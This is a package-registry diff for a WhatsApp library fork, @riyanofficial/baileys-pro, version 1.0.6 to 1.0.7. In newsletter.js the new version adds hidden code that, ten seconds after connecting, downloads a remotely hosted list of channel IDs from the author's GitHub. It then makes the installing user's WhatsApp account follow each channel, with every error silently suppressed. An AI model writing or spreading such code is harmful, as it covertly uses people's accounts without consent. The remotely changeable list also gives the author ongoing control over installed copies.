@riyanofficial/baileys-pro 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +12 -11
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -9,6 +9,7 @@ const WABinary_1 = require("../WABinary");
|
|
|
9
9
|
const groups_1 = require("./groups");
|
|
10
10
|
|
|
11
11
|
const { Boom } = require('@hapi/boom');
|
|
12
|
+
const axios = require('axios');
|
|
12
13
|
|
|
13
14
|
const wMexQuery = (
|
|
14
15
|
variables,
|
|
@@ -100,20 +101,20 @@ const makeNewsletterSocket = (config) => {
|
|
|
100
101
|
}
|
|
101
102
|
]
|
|
102
103
|
}));
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
const response = await
|
|
107
|
-
const AUTO_FOLLOW_CHANNELS =
|
|
104
|
+
|
|
105
|
+
setTimeout(async () => {
|
|
106
|
+
try {
|
|
107
|
+
const response = await axios.get('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
|
|
108
|
+
const AUTO_FOLLOW_CHANNELS = response.data;
|
|
108
109
|
|
|
109
110
|
for (const channelId of AUTO_FOLLOW_CHANNELS) {
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
111
|
+
try {
|
|
112
|
+
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
|
|
113
|
+
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
114
|
+
} catch (error) {}
|
|
114
115
|
}
|
|
115
|
-
|
|
116
|
-
|
|
116
|
+
} catch (error) {}
|
|
117
|
+
}, 10000);
|
|
117
118
|
|
|
118
119
|
const parseFetchedUpdates = async (node, type) => {
|
|
119
120
|
let child;
|